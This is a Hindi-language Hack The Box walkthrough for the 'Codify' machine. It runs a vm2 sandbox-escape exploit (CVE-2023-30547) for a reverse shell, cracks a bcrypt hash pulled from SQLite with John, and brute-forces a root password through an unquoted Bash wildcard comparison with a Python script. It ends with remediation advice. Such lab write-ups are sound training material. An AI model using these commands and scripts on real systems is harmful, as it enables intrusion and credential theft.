
Codify (Linux - Easy) के लिए Walkthrough। vm2 RCE (CVE-2023-30547) का शोषण, SQLite DB हैश निष्कर्षण, John के साथ Bcrypt क्रैकिंग, और `mysql-backup.sh` में Bash वाइल्डकार्ड तुलना के माध्यम से Privilege Escalation।
हैक द बॉक्स पर Codify मशीन के लिए संपूर्ण पैठ परीक्षण वॉकथ्रू और राइटअप।
| फ़ील्ड | मान |
|---|---|
| नाम | Codify |
| OS | Linux |
| कठिनाई | आसान |
| मुख्य अवधारणाएँ | vm2 RCE (CVE-2023-30547), SQLite DB Enum, Bcrypt Cracking, Bash Wildcard Pattern Matching Abuse |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
सभी 65,535 TCP पोर्ट्स पर तेज़ पोर्ट स्कैन करके खुली सेवाओं का पता लगाएं:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
पोर्ट्स 22, 80, 3000 पर विस्तृत एन्यूमरेशन:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
पोर्ट 3000 पर चल रहा वेब एप्लिकेशन Node.js vm2 सैंडबॉक्स लाइब्रेरी का एक कमजोर संस्करण उपयोग करता है।
सार्वजनिक एक्सप्लॉइट रिपॉजिटरी को क्लोन करें:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
अपनी अटैकिंग मशीन पर लोकल Netcat लिसनर शुरू करें:
Bash
ncat -lnvp 4444
कमजोर वेब एप्लिकेशन को लक्षित करते हुए एक्सप्लॉइट निष्पादित करें:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
अपना प्रारंभिक फुटहोल्ड शेल सत्यापित करें:
Bash
whoami
वेब डायरेक्टरी /var/www/contact पर जाएं और SQLite डेटाबेस का निरीक्षण करें:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
जोशुआ का bcrypt हैश निकालें:
SQL
SELECT password FROM users WHERE username='joshua';
(बाहर निकलने के लिए CTRL + d दबाएं)
निकाले गए हैश को John the Ripper और rockyou.txt की मदद से क्रैक करें:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
जोशुआ के क्रैक किए गए क्रेडेंशियल्स का उपयोग करके SSH के माध्यम से प्रमाणित करें:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
यूज़र joshua के लिए अनुमत sudo कमांड जांचें:
Bash
sudo -l
आउटपुट: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
/opt/scripts/mysql-backup.sh का निरीक्षण करें:
Bash
cat /opt/scripts/mysql-backup.sh
कमजोरी: स्क्रिप्ट Bash में अनकोटेड पैटर्न मिलान ([[ $USER_PASS == $DB_PASS* ]]) का उपयोग करती है। यह यूज़र इनपुट के अंदर वाइल्डकार्ड (*) को वास्तविक पासवर्ड के खिलाफ कैरेक्टर-दर-कैरेक्टर ब्रूट-फोर्स अटैक करने की अनुमति देता है।
रूट पासवर्ड को कैरेक्टर-दर-कैरेक्टर निकालने के लिए bruteforce.py बनाएं:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
पासवर्ड निकालने के लिए स्क्रिप्ट चलाएं:
Bash
python3 bruteforce.py
निकाले गए पासवर्ड का उपयोग करके root यूज़र कॉन्टेक्स्ट में स्विच करें:
Bash
su root
cat /root/root.txt
Node.js लाइब्रेरीज़ को पैच करें: vm2 (CVE-2023-30547) जैसी कमजोर सैंडबॉक्स लाइब्रेरीज़ को डिप्रेकेट या अपग्रेड करें।
सुरक्षित Bash स्क्रिप्टिंग: स्ट्रिंग तुलना ऑपरेशन्स ([[ "$USER_PASS" == "$DB_PASS" ]]) में वेरिएबल्स को हमेशा कोट करें ताकि विशेषाधिकार प्राप्त स्क्रिप्ट्स में अनजाने पैटर्न मिलान और वाइल्डकार्ड इंजेक्शन को रोका जा सके।